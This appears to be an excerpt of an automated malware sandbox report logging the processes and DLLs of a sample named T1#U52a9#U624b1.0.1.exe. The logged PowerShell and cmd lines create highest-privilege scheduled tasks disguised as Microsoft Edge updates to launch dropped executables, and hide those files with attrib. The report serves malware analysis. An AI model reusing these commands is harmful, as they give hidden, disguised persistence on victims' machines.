Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' "	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +s +a +h C:\Users\user\AppData\LineInst.exe&&attrib +s +a +h C:\Users\user\AppData\WinHex.exe&&attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\LineInst.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\WinHex.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Users\user\AppData\WinHex.exe C:\Users\user\AppData\Roaming\../WinHex.exe	Jump to behavior
Source: C:\Users\user\AppData\LineInst.exe	Process created: C:\$Windows.~WS\Sources\SetupHost.exe "C:\$Windows.~WS\Sources\SetupHost.Exe" /Download /Web	Jump to behavior
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\SystemUpdate.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=532930
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1936,i,15628791438985490340,2968363924654632854,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2024,i,1043454292865957278,12392202252195058562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,4475010063348466522,12630456280325372382,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1968,i,58944968473598260,14066714597260275696,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1988,i,2397862122718210806,12237267871317461974,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2024,i,1043454292865957278,12392202252195058562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,4017807827871240827,294443514438666825,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=2004,i,15154464915754026399,3836572238122876390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1968 --field-trial-handle=1936,i,10198018738591083414,2483585144497047882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,5238929235679066905,12786035706151781453,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1968,i,6157079858765921233,5568951314403497470,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2016,i,15539671429910762002,15161021274924515465,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1148,i,2046368302589155641,3041774423784538269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,11408168899703520178,4411795298762762360,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
